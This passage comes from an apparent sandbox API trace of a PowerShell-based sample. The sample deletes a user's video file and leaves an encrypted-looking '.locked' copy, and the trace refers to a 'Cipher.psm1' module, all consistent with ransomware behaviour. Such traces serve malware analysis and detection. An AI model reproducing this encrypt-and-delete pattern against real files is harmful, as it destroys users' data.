GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0138.951] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0138.951] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0138.951] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0138.951] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0138.951] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0138.951] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0138.951] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0138.952] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpFilePart=0x0) returned 0x1c [0138.952] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpFilePart=0x0) returned 0x1c [0138.952] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv")) returned 0x10 [0138.952] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv")) returned 0x10 [0138.952] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv", lpFilePart=0x0) returned 0x2f [0138.952] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv", lpFilePart=0x0) returned 0x2f [0138.952] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\reeg4dx.mp4")) returned 0x20 [0138.952] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", lpFilePart=0x0) returned 0x3b [0138.952] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", lpFilePart=0x0) returned 0x3b [0138.955] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", lpFilePart=0x0) returned 0x3b [0138.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0138.958] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", lpFilePart=0x0) returned 0x3b [0138.958] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4\\", lpFilePart=0x0) returned 0x3c [0138.958] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0138.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0138.958] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0138.958] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0138.959] CoTaskMemFree (pv=0x8eb8d30) [0138.959] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\reeg4dx.mp4")) returned 0x20 [0138.960] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", lpFilePart=0x0) returned 0x3b [0138.960] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", lpFilePart=0x0) returned 0x3b [0138.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0138.960] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\reeg4dx.mp4"), fInfoLevelId=0x0, lpFileInformation=0x6945480 | out: lpFileInformation=0x6945480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7e7a930, ftCreationTime.dwHighDateTime=0x1d4a54f, ftLastAccessTime.dwLowDateTime=0x34163680, ftLastAccessTime.dwHighDateTime=0x1d4a4d4, ftLastWriteTime.dwLowDateTime=0x34163680, ftLastWriteTime.dwHighDateTime=0x1d4a4d4, nFileSizeHigh=0x0, nFileSizeLow=0x764e)) returned 1 [0138.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0138.960] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\reeg4dx.mp4")) returned 1 [0138.961] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.961] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.961] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.961] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.962] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\reeg4dx.mp4.locked")) returned 0x20 [0138.962] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\reeg4dx.mp4.locked")) returned 0x20 [0138.962] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4.locked", lpFilePart=0x0) returned 0x42 [0138.962] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4.locked", lpFilePart=0x0) returned 0x42 [0138.962] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4", lpFilePart=0x0) returned 0x3b [0138.962] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.962] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.962] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.963] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.964] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.964] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.964] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.964] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.965] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.966] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.966] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.966] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.966] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.967] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.967] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.967] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.967] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0138.968] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\reeg4dx.mp4.locked"), fInfoLevelId=0x0, lpFileInformation=0x695600c | out: lpFileInformation=0x695600c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x160bfb05, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x160bfb05, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x160bfb05, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x7664)) returned 1 [0138.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0138.969] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4.locked", lpFilePart=0x0) returned 0x42 [0138.969] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\ReeG4dx.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\reeg4dx.mp4.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x778 [0138.969] GetFileInformationByHandle (in: hFile=0x778, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0138.969] CloseHandle (hObject=0x778) returned 1 [0138.969] GetConsoleOutputCP () returned 0x1b5 [0138.970] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.970] GetConsoleOutputCP () returned 0x1b5 [0138.970] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.970] GetConsoleOutputCP () returned 0x1b5 [0138.971] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.971] GetConsoleOutputCP () returned 0x1b5 [0138.971] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.971] GetConsoleOutputCP () returned 0x1b5 [0138.972] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.972] GetConsoleOutputCP () returned 0x1b5 [0138.972] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.972] GetConsoleOutputCP () returned 0x1b5 [0138.972] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.972] GetConsoleOutputCP () returned 0x1b5 [0138.973] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.973] GetConsoleOutputCP () returned 0x1b5 [0138.973] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.973] GetConsoleOutputCP () returned 0x1b5 [0138.974] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.974] GetConsoleOutputCP () returned 0x1b5 [0138.974] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.974] GetConsoleOutputCP () returned 0x1b5 [0138.974] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.974] GetConsoleOutputCP () returned 0x1b5 [0138.975] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.975] GetConsoleOutputCP () returned 0x1b5 [0138.975] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.975] GetConsoleOutputCP () returned 0x1b5 [0138.975] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.975] GetConsoleOutputCP () returned 0x1b5 [0138.976] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.976] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0138.976] GetConsoleOutputCP () returned 0x1b5 [0138.976] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0138.976] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0138.977] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x697d704*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x697d704*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0138.977] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0138.977] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0138.981] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.981] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x82, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x82, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.981] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.981] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0138.981] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.981] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x82, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.981] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: 